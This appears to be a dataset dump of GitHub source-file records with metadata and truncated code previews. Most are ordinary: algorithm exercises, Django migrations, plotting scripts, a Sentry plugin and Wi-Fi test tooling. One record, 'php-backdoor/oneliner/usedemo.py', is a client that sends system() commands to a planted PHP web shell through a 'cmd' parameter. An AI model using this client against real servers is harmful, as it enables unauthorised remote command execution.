imnnquy/algorithm-training-may-june-2020 | 764,504,198,212 | a55d382588d40004063f6173645be75e060a470c | 4c7b186abb8ab50258e0f073409881ca761dbe93 | /01-Topological Sort/05 - UVA - 11060.py | c65fe99be3a9f33cf460f3cb50433036e1c3374a | [] | no_license | https://github.com/imnnquy/algorithm-training-may-june-2020 | 3b38d9b2a6d669955f2bb21cee9af9ee0313a262 | 9118bc30c22033c6755e67624730a41ec76292fa | refs/heads/master | 2022-07-29T06:07:43.412665 | 2020-05-22T13:59:22 | 2020-05-22T13:59:22 | 261,198,268 | 1 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | # https://onlinejudge.org/index.php?option=com_onlinejudge&Itemid=8&category=22&page=show_problem&problem=2001
import heapq
def kahn(graph):
V = len(graph)
in_degree = [0] * V
for i in range(V):
for j in graph[i]:
in_degree[j] += 1
zero_in_degree = []
for i in range(V):
... | UTF-8 | Python | false | false | 1,637 | py | 15 | 05 - UVA - 11060.py | 14 | 0.503971 | 0.494808 | 0 | 69 | 22.724638 | 110 |
bomb1e/gotgit | 9,371,618,659,781 | b86edd0c3e464a76f1b5346f150a6cbfe44bee19 | 7192da38b6afd3c60f80ccbecb3040cf34369ce3 | /6eac9828-3287-4eac-9bec-53387285494c.py | f7935581168072e79ba792072ca5871d997c1d87 | [] | no_license | https://github.com/bomb1e/gotgit | 6699fa9e6adb0a79f22441df41a102b09b78c2ce | 3c14cb6d1d0c4cba6a1e24a9899462d2e4bee2ce | refs/heads/master | 2020-06-12T06:00:34.695425 | 2018-08-01T02:00:02 | 2018-08-01T02:00:02 | 75,600,461 | 2 | 1 | null | null | null | null | null | null | null | null | null | null | null | null | null | from __future__ import print_function
def func44(arg289, arg290):
if arg290 < arg289:
var295 = class45()
else:
var295 = class47()
for var296 in (arg290 ^ arg289 for i in [i ^ 4 for i in range(17)]):
var295.func46(arg290, arg290)
var300 = func49(arg289, arg290)
var301 = func53... | UTF-8 | Python | false | false | 19,976 | py | 25,849 | 6eac9828-3287-4eac-9bec-53387285494c.py | 25,848 | 0.582549 | 0.313877 | 0 | 553 | 35.124774 | 227 |
dheerajgupta0001/wrldc_mis_monthly_report_generator | 19,181,323,961,168 | 0174b245119bdd3a8f9be1423610a54325fc4a8f | 27e6a0f12334076bca2281d501453f90b7762eb0 | /src/app/section_1_7/section_1_7_3.py | fc59148efefc60abd7ebf0460021af26ec205f1e | [
"MIT"
] | permissive | https://github.com/dheerajgupta0001/wrldc_mis_monthly_report_generator | 44491d0488620426a191dc52d1317f8756274170 | dd5ae6f28ec6bf8e6532820fd71dd63f8b223f0b | refs/heads/main | 2023-06-20T08:14:19.928757 | 2021-07-20T05:55:39 | 2021-07-20T05:55:39 | 338,298,197 | 0 | 0 | MIT | false | 2021-03-24T05:36:40 | 2021-02-12T11:22:11 | 2021-03-03T07:57:48 | 2021-03-24T05:36:39 | 29,507 | 0 | 0 | 0 | Python | false | false | import datetime as dt
from src.repos.metricsData.metricsDataRepo import MetricsDataRepo
import pandas as pd
from src.app.section_1_7.section_1_7_2 import strip400
from src.app.section_1_7.section_1_7_1 import strip765
from src.typeDefs.section_1_7.section_1_7_3 import ISection_1_7_3
import matplotlib.pyplot as plt
impo... | UTF-8 | Python | false | false | 3,376 | py | 90 | section_1_7_3.py | 88 | 0.561315 | 0.530806 | 0 | 71 | 46.549296 | 108 |
RenatoBoeno/exercicios-de-estudo-python | 11,940,009,089,161 | fb2e5824434bcb935273ecf5db35cab738b9d975 | d4acc74ed78675f6657ee73e4ed395c45e2f47a1 | /Exercícios de estudo Python/018 - Seno, Cosseno e Tangente.py | 7474f867cf7eb157720469b6f6072ebbcdbfb0f6 | [] | no_license | https://github.com/RenatoBoeno/exercicios-de-estudo-python | 72f5ac74544423d0d3ff18da5ad2325d9dff9412 | bc1f1c17cd3f323f7f29dae9653f939c69998511 | refs/heads/master | 2020-05-16T15:03:09.429085 | 2019-04-25T16:09:58 | 2019-04-25T16:09:58 | 183,120,450 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | import math
an = float(input("digite o angulo que deseja:"))
seno = math.sin(math.radians((an)))
print ("angulo{:.2f} seno {:.2f}".format(an,seno))
cosseno = math.cos(math.radians((an)))
print(" o angulo de {:.2f} tem o cosseno{:.2f}".format(an,cosseno))
tangente = math.tan(math.radians(an))
print(" o angulo é {:.2f} t... | UTF-8 | Python | false | false | 362 | py | 46 | 018 - Seno, Cosseno e Tangente.py | 46 | 0.67313 | 0.65651 | 0 | 8 | 44.25 | 68 |
cafischer/cell_fitting | 17,085,379,945,832 | db46a16978e63e708086a746af6b82640b358a05 | 032a1ad3c94e1126729417a16e2a95743d121244 | /cell_fitting/optimization/evaluation/plot_sine_stimulus/plot_sine_stimulus.py | 6e1f5cca9c146e3587a73f2e1f6142e496418b59 | [] | no_license | https://github.com/cafischer/cell_fitting | 0fd928f5ae59488e12c77648c2e6227c1911d0e9 | 75a81987e1b455f43b5abdc8a9baf6b8f863bee2 | refs/heads/master | 2021-01-23T19:27:30.635173 | 2019-09-14T08:46:57 | 2019-09-14T08:46:57 | 44,301,986 | 1 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | from __future__ import division
import matplotlib.pyplot as pl
import numpy as np
from nrn_wrapper import Cell
import os
import json
from cell_fitting.optimization.evaluation.plot_sine_stimulus import simulate_sine_stimulus
pl.style.use('paper')
if __name__ == '__main__':
# parameters
save_dir = '/home/cf/Phd... | UTF-8 | Python | false | false | 4,926 | py | 374 | plot_sine_stimulus.py | 295 | 0.556638 | 0.510556 | 0 | 123 | 39.056911 | 162 |
minuptt/HCMC_Scores_2020 | 7,507,602,862,821 | 737607594f49fb282b536de319f780994e611139 | 5999eda4fb021305efb6c4833ccbdedd31d3334f | /problem1.py | 03690170bedd0338244d649e4b2c3a29cba6e898 | [] | no_license | https://github.com/minuptt/HCMC_Scores_2020 | 6e65de8a2137607dcdc4e3ada62890067ed3ceff | 1fd495ff8032789621f2c04574831af77cd77e89 | refs/heads/master | 2023-07-07T09:53:42.597414 | 2021-07-29T23:51:56 | 2021-07-29T23:51:56 | 390,868,774 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | # read file
with open("clean_data.csv", encoding = "utf8") as file:
data = file.read().split("\n")
header = data[0]
students = data[1:]
students.pop()
total_student = len(students)
header = header.split(",")
subjects = header[5:]
for i in range (total_student):
students[i] = students[i].split(",")
not_tak... | UTF-8 | Python | false | false | 1,117 | py | 8 | problem1.py | 7 | 0.644584 | 0.604297 | 0 | 43 | 24.930233 | 99 |
ricardobtxr/experiment-scripts | 12,987,981,122,941 | e304b0d9a196a6d4e9d4c6173756dc1090f20cc6 | ac5e52a3fc52dde58d208746cddabef2e378119e | /exps-gsn-edf/gsn-edf_ut=2.5_rd=0.5_rw=0.06_rn=4_u=0.075-0.35_p=harmonic-2/sched=RUN_trial=90/sched.py | 8f6222df4dd6d8bce8e0d235fb7a22a1d8bdd99c | [] | no_license | https://github.com/ricardobtxr/experiment-scripts | 1e2abfcd94fb0ef5a56c5d7dffddfe814752eef1 | 7bcebff7ac2f2822423f211f1162cd017a18babb | refs/heads/master | 2023-04-09T02:37:41.466794 | 2021-04-25T03:27:16 | 2021-04-25T03:27:16 | 358,926,457 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | -X FMLP -Q 0 -L 5 110 400
-X FMLP -Q 0 -L 5 95 300
-X FMLP -Q 1 -L 2 44 150
-X FMLP -Q 1 -L 2 40 175
-X FMLP -Q 2 -L 1 38 150
-X FMLP -Q 2 -L 1 33 125
-X FMLP -Q 3 -L 1 26 250
25 125
23 250
22 300
20 100
14 125
10 125
| UTF-8 | Python | false | false | 239 | py | 6,754 | sched.py | 6,466 | 0.539749 | 0.205021 | 0 | 13 | 17.384615 | 28 |
timaakulich/django_telegram_bots | 39,026 | fec17d696119b8312ed4f29c472e579d32dd9426 | c824fba398787231aeca3b4735796ae04b194b98 | /bots/migrations/0009_auto_20161002_1050.py | a020ce078a841784a82cac5d8cee61dfa8349555 | [] | no_license | https://github.com/timaakulich/django_telegram_bots | 475635426fdabdc44f1735a642df2a3ebf3a1cfb | d9296c6eb34be6326fbf46f2909aa57521319971 | refs/heads/master | 2018-01-02T08:01:16.985301 | 2016-10-02T11:37:16 | 2016-10-02T11:37:16 | 69,358,186 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | # -*- coding: utf-8 -*-
# Generated by Django 1.10.1 on 2016-10-02 10:50
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('bots', '0008_auto_20160928_1746'),
]
operations = [
migrations.AddField(
... | UTF-8 | Python | false | false | 909 | py | 12 | 0009_auto_20161002_1050.py | 11 | 0.607261 | 0.568757 | 0 | 25 | 35.36 | 210 |
gitGNU/gnu_brewtools | 3,513,283,269,773 | eec5e35d0b79d066a5aa1a0e58cb68210d5aec90 | 19c7a026d7222fd50f8816370dafb19cc979e237 | /gui/wndRecipe.py | 0e03d710f1f8e6992e396529aee4e4ee6a8e95f5 | [
"BSD-3-Clause"
] | permissive | https://github.com/gitGNU/gnu_brewtools | 1ba8c9e75e17a151dfddb63dfca90927b4a78df9 | ba09dc11e23d93e623f497286f3f2c3e9aaa41c2 | refs/heads/master | 2023-08-06T06:34:26.551798 | 2008-05-08T22:00:49 | 2008-05-08T22:00:49 | 90,340,617 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | """
* Copyright (c) 2008, Flagon Slayer Brewery
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
* * Redistributions of source code must retain the above copyright
* notice, this list of ... | UTF-8 | Python | false | false | 11,163 | py | 18 | wndRecipe.py | 14 | 0.669802 | 0.6681 | 0 | 294 | 36.969388 | 126 |
xujinzh/CSK | 18,133,351,958,404 | 057464e6a48599770f4fa8d8f30752fec5238fc4 | 388365862871297770de5e7c717f7b2354a99936 | /utils/get_subwindow.py | 3a416373aabbdd5e4a5f474b3f715bfe5f9354ee | [
"BSD-2-Clause"
] | permissive | https://github.com/xujinzh/CSK | fa66232f42db0f72da47dc83eac497e65077bd34 | 136002da069d300fc2da9ae8530861818087ff40 | refs/heads/main | 2023-01-06T08:33:05.706746 | 2020-11-13T10:22:10 | 2020-11-13T10:22:10 | 303,584,852 | 5 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author : Jinzhong Xu
# @Contact : jinzhongxu@csu.ac.cn
# @Time : 10/12/2020 2:23 PM
# @File : get_subwindow.py
# @Software: PyCharm
import pylab
import os
from matplotlib import image as mpimg
import numpy as np
from utils import rgb2gray
from matplo... | UTF-8 | Python | false | false | 2,437 | py | 14 | get_subwindow.py | 12 | 0.600198 | 0.569025 | 0 | 63 | 30.079365 | 86 |
77629296/sentry_auth_chy | 4,483,945,898,586 | 88dbdec71605fb8d1368755e9b87406b4aa5b876 | 6a7f43215d392743648a23f159291436072f8e5f | /sentry_auth_chy/__init__.py | 5c1af97bce6dfb798f0f841960cba1b86960431d | [
"Apache-2.0"
] | permissive | https://github.com/77629296/sentry_auth_chy | 7eba2eb0d2bb946521423b30def42320ca654f10 | 042cf650c044ff861b750122c8c35252b49ce8e5 | refs/heads/master | 2022-12-02T20:37:45.512568 | 2020-08-11T11:38:54 | 2020-08-11T11:38:54 | 286,728,533 | 0 | 1 | null | null | null | null | null | null | null | null | null | null | null | null | null | from __future__ import absolute_import
from sentry.auth import register
from .provider import ChyOAuth2Provider
register('chy', ChyOAuth2Provider)
| UTF-8 | Python | false | false | 150 | py | 3 | __init__.py | 2 | 0.806667 | 0.793333 | 0 | 7 | 20.428571 | 39 |
WFA-HarshMadhiwalla/Wi-FiTestSuite-UCC | 13,297,218,764,215 | 15b30409437a72a24ef597d294437a26d9483949 | 49de835262f53fa622637985d9f59e58cd87d503 | /python/InitTestEnv.py | fb2c5bf8d26d7b5b30af52bad85849c9c832bc6a | [
"ISC"
] | permissive | https://github.com/WFA-HarshMadhiwalla/Wi-FiTestSuite-UCC | e7cbaaceb900092bd77785f33dd4a5d1107f5845 | 3384478abb92ad29dfb658abdf89dbd7064ce16f | refs/heads/master | 2020-04-05T02:36:48.489688 | 2016-10-18T23:33:51 | 2016-10-18T23:33:51 | 41,568,632 | 0 | 0 | null | true | 2015-08-28T20:52:25 | 2015-08-28T20:52:25 | 2015-08-27T06:32:10 | 2015-08-25T18:28:01 | 1,229 | 0 | 0 | 0 | null | null | null | ###################################################################
#
# Copyright (c) 2014 Wi-Fi Alliance
#
# Permission to use, copy, modify, and/or distribute this software for any
# purpose with or without fee is hereby granted, provided that the above
# copyright notice and this permission notice appear in al... | UTF-8 | Python | false | false | 70,040 | py | 13 | InitTestEnv.py | 7 | 0.558024 | 0.543075 | 0 | 1,827 | 36.33607 | 255 |
amdel2020/Algorithms | 17,377,437,682,294 | e0a877fb855fba1b9242d734e9c0f2fa89e1c0e3 | da7de5e15ca6b8076649c4197a6fdbbaf19e020f | /16.4.py | d2f4fa51598b8f6b29fdb663c61b4f20b09547bc | [] | no_license | https://github.com/amdel2020/Algorithms | 36ad53bc5d5ece95e368438634531d325cc37c05 | 43358c931836a807e1d5383faa6412bc11015fda | refs/heads/master | 2020-03-09T03:05:16.545207 | 2019-10-28T14:46:54 | 2019-10-28T14:46:54 | 128,556,539 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | def check_status(grid):
n = len(grid)
# from 0, 0 to 0, n-1
# from 1,0 to 1, n-1
# ...
# from n-1, 0 to 1, n-1
# similarly check column wise
# also check diagonal
# at any point if all are same, then win,
# if end reached, then lose
pass
| UTF-8 | Python | false | false | 278 | py | 143 | 16.4.py | 105 | 0.553957 | 0.510791 | 0 | 11 | 24.272727 | 45 |
tamascsaba/My-Sublime-Backup | 9,483,287,806,282 | 088952653ef080c161bf63900521078aa8049289 | 84e769b87b5c80881f4ea805eac51cd4dea24d1d | /SublimeLinter-php/linter.py | 3902921152560854c9a7b165231699d35bb10085 | [
"MIT"
] | permissive | https://github.com/tamascsaba/My-Sublime-Backup | 6ccef00bc4464c583231c2b14f5a8fc5dba42cfc | db9e0a7acd043a482e600846cc337c363bc24cb8 | refs/heads/master | 2021-01-24T06:36:56.302803 | 2014-04-17T09:31:11 | 2014-04-17T09:31:11 | 18,873,350 | 3 | 1 | null | null | null | null | null | null | null | null | null | null | null | null | null | #
# linter.py
# Linter for SublimeLinter3, a code checking framework for Sublime Text 3
#
# Written by Ryan Hileman, Aparajita Fishman and Anthony Pidden
# Copyright (c) 2013 Ryan Hileman, Aparajita Fishman and Anthony Pidden
#
# License: MIT
#
"""This module exports the PHP plugin class."""
from SublimeLinter.lint i... | UTF-8 | Python | false | false | 1,128 | py | 26 | linter.py | 6 | 0.626773 | 0.621454 | 0 | 36 | 30.333333 | 89 |
Boorneeswari/GUVI_PROGRAMS | 15,582,141,367,507 | a3edb477b1db7082c4043e366a4b88104923367e | ed84a727dfcde9481668d0317ca3b2c80e58ad0f | /set8vow.py | 63d7807658faae3e3d7b9fe1140c06ad720d9a35 | [] | no_license | https://github.com/Boorneeswari/GUVI_PROGRAMS | 2458c47da89a3cf1450b5b20eea7e34fba7dd051 | 0f1648f95064043bba93195062954a0afe67ed66 | refs/heads/master | 2020-03-22T21:15:50.236733 | 2018-10-03T13:05:47 | 2018-10-03T13:05:47 | 140,672,212 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | strr=input()
vow=['a','e','i','o','u','A','E','I','O','U']
for i in range(len(strr)):
if strr[i] in vow:
print("yes")
break
else:
print("no")
| UTF-8 | Python | false | false | 166 | py | 58 | set8vow.py | 58 | 0.457831 | 0.457831 | 0 | 8 | 19.75 | 45 |
TsarSPb/Haustiere | 17,179,869,207,645 | ce3673bef97722cc0ef9f256a56c489580e1363d | 08119ddcc8b273f0dc86a351f2c02d6d03cf8537 | /CMAPSS/support_func.py | b5a29951e12b8f19bd37f79988f6ebde6cc4811e | [] | no_license | https://github.com/TsarSPb/Haustiere | facd64fc763024c08ffb9c480082cb4d790d7566 | 8a8b0f4d791d7e0da5f12560e4c475c6c18e34c0 | refs/heads/master | 2020-08-27T09:07:36.685143 | 2019-10-30T16:41:38 | 2019-10-30T16:41:38 | 217,311,786 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | import numpy as np
import matplotlib.pyplot as plt
def plot_results(results_list,partno):
models = [x[0] for x in results_list]
if partno==1:
cv_score_train_mean = [x[1][0] for x in results_list]
cv_score_val_mean = [x[1][1] for x in results_list]
cv_score_test_mean = [x[1][2] for x in results_list]
# Gettin... | UTF-8 | Python | false | false | 7,237 | py | 5 | support_func.py | 1 | 0.699599 | 0.6692 | 0 | 145 | 48.903448 | 201 |
Aurora11111/chineseocr | 9,448,928,072,159 | 5523f721a4e89b434db4a55dc3a2da202a5f0afd | ccb960e65bc5f1f4b82e5d7b7e25a0c07ca7162d | /detector/other.py | 3cc7173f78b4bab6b5419d06915ca09dfd516f9d | [
"MIT"
] | permissive | https://github.com/Aurora11111/chineseocr | f9fcf071bda94c3bfbca1314096dcd46a8972c8c | 43ed6255aee6fad6ad2c66854681b26e7676defa | refs/heads/master | 2020-04-06T13:05:20.372898 | 2019-05-20T10:26:06 | 2019-05-20T10:26:06 | 157,483,488 | 2 | 0 | MIT | true | 2018-11-14T03:15:06 | 2018-11-14T03:15:05 | 2018-11-13T16:53:04 | 2018-11-13T16:53:02 | 8,090 | 0 | 0 | 0 | null | false | null | import cv2
import numpy as np
def prepare_img(im, mean):
"""
transform img into caffe's input img.
"""
im_data=np.transpose(im-mean, (2, 0, 1))
return im_data
def get_boxes(im, bboxes):
"""
boxes: bounding boxes
"""
text_recs=np.zeros((len(bboxes), 8), np.int)
im=im.copy... | UTF-8 | Python | false | false | 2,222 | py | 19 | other.py | 13 | 0.486049 | 0.436994 | 0 | 90 | 23.633333 | 69 |
NoisyPillow/twitter-binance-bridge-bot | 506,806,149,986 | 379a86aabbae1d0b3836d339288bf85c3c642f5c | f5671dc87867e718b654cdebc69f4c9aaefec50a | /UiCore.py | 62893d20994026bcd27df16d8f511839da130491 | [
"LicenseRef-scancode-warranty-disclaimer"
] | no_license | https://github.com/NoisyPillow/twitter-binance-bridge-bot | 519f2bee78fc3f6ef79971600447b2a8b10e4ba1 | 2079ba5593769c47960108f62590c6db39d0cea3 | refs/heads/master | 2023-05-04T21:07:32.422112 | 2021-05-12T09:55:16 | 2021-05-12T09:55:16 | 364,655,277 | 1 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | from PyInquirer import Separator, prompt
from BinanceTwitterBridge import BinanceTwitterBridge
from ConfigManager import Config
import colorama
from colorama import Fore, Style
from art import tprint
import json
class CLI:
def __init__(self):
colorama.init()
self.config = Config()
self.bri... | UTF-8 | Python | false | false | 5,116 | py | 9 | UiCore.py | 5 | 0.486888 | 0.480431 | 0 | 137 | 36.29927 | 147 |
jesperswillem/protwis | 14,972,256,024,126 | 406470ff4b50d7526ebbc620a810cedb8e36744c | 80fe2166509c215a02081b5823035fcc0b7eac31 | /contactnetwork/models.py | fcb3440e5734c0e3d3f764fdb85a17111ae8d7b0 | [
"Apache-2.0"
] | permissive | https://github.com/jesperswillem/protwis | e3c6b1fae456272d4849d6b79ff7ed5948b1e787 | a36cd60fe9724d61b2c78c4d16f9d3697543b8aa | refs/heads/master | 2021-01-18T03:05:47.743570 | 2019-03-22T14:17:16 | 2019-06-06T10:11:35 | 52,868,185 | 0 | 0 | Apache-2.0 | true | 2019-06-25T11:12:37 | 2016-03-01T10:23:31 | 2019-06-24T10:07:00 | 2019-06-25T11:11:55 | 32,910 | 0 | 0 | 1 | Python | false | false | from structure.models import Structure
from django.db import models
class InteractingResiduePair(models.Model):
referenced_structure = models.ForeignKey('structure.Structure', on_delete=models.CASCADE)
res1 = models.ForeignKey('residue.Residue', related_name='residue1', on_delete=models.CASCADE)
res2 = mo... | UTF-8 | Python | false | false | 2,408 | py | 11 | models.py | 8 | 0.712209 | 0.696844 | 0 | 57 | 41.245614 | 119 |
james-chang727/Python_practice | 16,793,322,156,428 | 58f07b963f4b59cab29128c023ae15b762d90b98 | e90ea647cb2b632842f50126dd20c87a990d961f | /003 conditions exercise/Q2.py | c8ea4558fd59151f9c36c082291d3640cc44b5dd | [] | no_license | https://github.com/james-chang727/Python_practice | 9cad6e7c83cafffc4bc3005c401bde91f3dd29bb | adcd8ff18c2aa6ee685c79b13cdc08623e91d1bb | refs/heads/master | 2022-11-06T13:28:13.398066 | 2020-06-23T16:30:51 | 2020-06-23T16:30:51 | 262,010,137 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | age = int(input("Enter your age:"))
crim = str(input("Do you have a criminal record (y/n):"))
age_jury = 18 <= age <= 65
if age_jury and crim == "n":
print("You are required to do jury service.")
elif not age_jury or crim == "y":
print("You are excluded from jury service.")
elif crim != "y" or "n":
print("... | UTF-8 | Python | false | false | 339 | py | 35 | Q2.py | 34 | 0.625369 | 0.613569 | 0 | 10 | 32.9 | 57 |
Major101/Attendance | 4,355,096,844,409 | b362accf0fb469de26f21d2de8959b842b5d6146 | 3b872b7a42b207b9f402d63d9535cec2f67eb8f4 | /Attendance/attendance_tracker/migrations/0008_auto_20191127_1200.py | 46ff10899971fd6f8d4aab71e535e71d34ecf8e6 | [] | no_license | https://github.com/Major101/Attendance | 56069d635cee4200f73befccef659ae5aa54c174 | 1515ef3e9a60d5560b30f5b78f256104f4314e07 | refs/heads/master | 2020-09-21T00:58:43.752105 | 2019-12-05T06:47:07 | 2019-12-05T06:47:07 | 224,634,874 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | # Generated by Django 2.2.7 on 2019-11-27 12:00
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('attendance_tracker', '0007_employee_time'),
]
operations = [
migrations.RenameField(
model_name='employee',
old_name='time',... | UTF-8 | Python | false | false | 375 | py | 12 | 0008_auto_20191127_1200.py | 9 | 0.578667 | 0.528 | 0 | 18 | 19.833333 | 53 |
veckerid/django-xmpp | 18,004,502,939,593 | 64dc306352ca8b3e1cc7123546fbca525e6e1674 | e58249581c88d7c77e18d9345d3bc69b6469b772 | /forms.py | 1c1e28a60f5bcaf3b604d356c4d1b6c801f55e6b | [] | no_license | https://github.com/veckerid/django-xmpp | df8b8bb708dc333cd0746cdc47aa8a697211522b | 3af0db45f30218d17d56975b5e868bdb09743b28 | refs/heads/master | 2020-05-19T23:13:58.799248 | 2009-08-21T19:54:56 | 2009-08-21T19:54:56 | 34,379,252 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | # -*- coding: utf-8 -*-
#
# Copyright (c) 2009 Marcello Bontempo Salgueiro and contributors
#
# This file is part of Django XMPP.
#
# Django XMPP is free software under terms of the GNU Lesser
# General Public License version 3 (LGPLv3) as published by the Free
# Software Foundation. See the file README for copyin... | UTF-8 | Python | false | false | 889 | py | 12 | forms.py | 5 | 0.731159 | 0.710911 | 0 | 32 | 26.78125 | 72 |
shen-huang/selfteaching-python-camp | 7,937,099,610,551 | 16274687f2c434de16e8c0712ae10a99f8a02cb2 | 9dba277eeb0d5e9d2ac75e2e17ab5b5eda100612 | /exercises/1901010112/1001S02E05_array.py | 58c6311ddf0b4346c7b3b4c8b5d04a8f94c9f2df | [] | no_license | https://github.com/shen-huang/selfteaching-python-camp | e8410bfc06eca24ee2866c5d890fd063e9d4be89 | 459f90c9f09bd3a3df9e776fc64dfd64ac65f976 | refs/heads/master | 2022-05-02T05:39:08.932008 | 2022-03-17T07:56:30 | 2022-03-17T07:56:30 | 201,287,222 | 9 | 6 | null | true | 2019-08-08T15:34:26 | 2019-08-08T15:34:25 | 2019-08-08T14:44:30 | 2019-08-08T15:18:39 | 45,209 | 0 | 0 | 0 | null | false | false | #将数组 [0, 1, 2, 3, 4, 5, 6, 7, 8, 9] 翻转
a = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
a.reverse()#reverse是用来反转列表
print('列表翻转 ==>',a)
#翻转后的数组拼接成字符串
b = "".join([str(i) for i in a])#使用join方法将数组中的元素以""的连接生成新的字符串str(i)
print("输出字符串 ==>",b)
s=b
c=s[2:8]
print("切片取出3-8字符==>",c)
d=int(c[::-1])#::→字符串的开始和结尾; -1→进行翻转的动作; int→ 结果转换为int型
pr... | UTF-8 | Python | false | false | 671 | py | 2,882 | 1001S02E05_array.py | 2,421 | 0.590164 | 0.529274 | 0 | 15 | 27.466667 | 67 |
xiaoyaochen/ACshare | 14,010,183,343,854 | 455663f2fe028301c3d9d92c53a2aa9a0a685956 | 61267e7bb146e67d7ce5b81ef8c6fb32cdb1088e | /apps/forums/migrations/0003_auto_20190409_2323.py | 188421fffb24c6c2a66cff8ac9ab1a98616d354e | [] | no_license | https://github.com/xiaoyaochen/ACshare | 8f7e294724d90925f9fb80799c9fbd3680c01057 | 482985231e0e6d8632c8504a30f994ba246a060a | refs/heads/master | 2020-05-07T11:57:43.663344 | 2019-04-20T14:55:55 | 2019-04-20T14:55:55 | 180,483,088 | 1 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | # Generated by Django 2.0 on 2019-04-09 23:23
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('forums', '0002_auto_20190408_2007'),
]
operations = [
migrations.RemoveField(
model_name='forumscomment',
name='forums',
... | UTF-8 | Python | false | false | 1,195 | py | 48 | 0003_auto_20190409_2323.py | 30 | 0.515481 | 0.490377 | 0 | 48 | 23.895833 | 46 |
AvishaySebban/Zakuski | 13,142,599,945,349 | 9ef1180d585551d3668f37976d56a637771027f6 | cd908f412af49aa848650707d424db7c3a605661 | /resources.py | c0c3aeb7444a5c72d6c595d2ec5f089f674a09c7 | [] | no_license | https://github.com/AvishaySebban/Zakuski | 70949947733048366074a8eb2f012f520c23d983 | 3daf4f5994d108b6db3eba710b9d1cc88d40c67d | refs/heads/master | 2021-01-19T19:32:06.942766 | 2017-05-23T06:48:43 | 2017-05-23T06:48:43 | 88,351,987 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | import falcon
import MySQLdb
import json
import db_conf
class GetUser:
def on_get(self, req, resp):
try:
db = MySQLdb.connect(**db_conf.dbConfig)
#use dictionary cursor
cursor = db.cursor(MySQLdb.cursors.DictCursor)
q = ("select * from USER")
cur... | UTF-8 | Python | false | false | 3,905 | py | 6 | resources.py | 5 | 0.485531 | 0.477081 | 0 | 124 | 30.483871 | 111 |
songbo446/RiboNT | 5,695,126,640,310 | f712430011b536eae96eab2539dd8a3ab1bb303f | 15a2139027f0b43072b73cdf1e3759f7aa850136 | /RiboNT | 71735cb971555203a8bf27f5f069bfc6c8660b83 | [
"MIT"
] | permissive | https://github.com/songbo446/RiboNT | 5fb16a9f4a3c8d01744635c2bf994e575960d72a | d848f29be96d1d117e046a475a1e4bcb7e845fbf | refs/heads/master | 2022-11-17T23:55:48.411010 | 2022-11-04T07:08:31 | 2022-11-04T07:08:31 | 182,942,241 | 2 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | #!/usr/bin/python3
import sys, os, getopt, time
def main ():
usage = """
RiboNT version 1.0 by Bo Song
Usage:
RiboNT [options]* --genome <reference> --gtf <annotation> --bam <alignment>
<reference> Sequence of reference genome (fasta)
<annotation> Annotation of reference gen... | UTF-8 | Python | false | false | 5,004 | 15 | RiboNT | 4 | 0.551559 | 0.545564 | 0 | 126 | 38.714286 | 189 | |
xubzero/scripts | 15,496,242,046,318 | b0e9fa2d08f59ee331c02e9d87d39b1fe496cf0d | 6aeaf97b75bbb83596acee68d98f8582ac93dccb | /php-backdoor/oneliner/usedemo.py | 1f28f13c8cc5659cce27d1cfc059b0547579a59b | [] | no_license | https://github.com/xubzero/scripts | a1e5358f3e5f8d4bdcc7a344cfbf9a996569dfd3 | ca4777dff0197bb4b698cb0d02f8a01b388eb61a | refs/heads/main | 2023-07-23T09:40:54.758987 | 2022-06-20T13:59:46 | 2022-06-20T13:59:46 | 372,331,763 | 5 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | #!/usr/bin/python3
import requests
import sys
arguments=sys.argv
scriptname=arguments[0]
session=requests.Session()
if(len(arguments) == 2):
url=arguments[1]
command=""
payload=f"system('whoami');"
user=(session.post(url,data={"cmd":f"{payload}"}).text).strip()
if user.strip() == '':
print(f"No valid user found... | UTF-8 | Python | false | false | 838 | py | 32 | usedemo.py | 16 | 0.675418 | 0.667064 | 0 | 30 | 26.933333 | 70 |
scresante/codeeval | 14,499,809,607,497 | c0ba0ab75eeac0cdad87b2b88412670d8504269d | 83eee8ec138ebc1d9286e6698fdf0fabbbf6635e | /basic-syntax-fixer.py | e2e139ac3304be6ed74194d3e4e580a62009dffb | [] | no_license | https://github.com/scresante/codeeval | b9259cc745f3ef5fc67881ad3904b6712050a9f4 | 3771200fd8ce64bcfafbbed7822b3ddbadb5c564 | refs/heads/master | 2021-09-04T18:34:18.161413 | 2018-01-21T01:39:00 | 2018-01-21T01:39:00 | 46,468,549 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | #!/usr/bin/python3
#" for reformatting codeeval in vim
# nnoremap fv <Esc>:%s/f = argv/FILE = argv/<CR>
# :%s/f = 'test/FILE = 'test/<CR>
# :%s/data = open(f,/DATA = open(FILE, /<CR>
# :3,9s/except/except NameError/<CR>
# :%s/for line in data/for line in DATA/<CR>
# :let g:pymode_lint=0<CR>
# :let g:pymode_lint_on_wri... | UTF-8 | Python | false | false | 714 | py | 109 | basic-syntax-fixer.py | 105 | 0.605042 | 0.592437 | 0 | 23 | 30 | 79 |
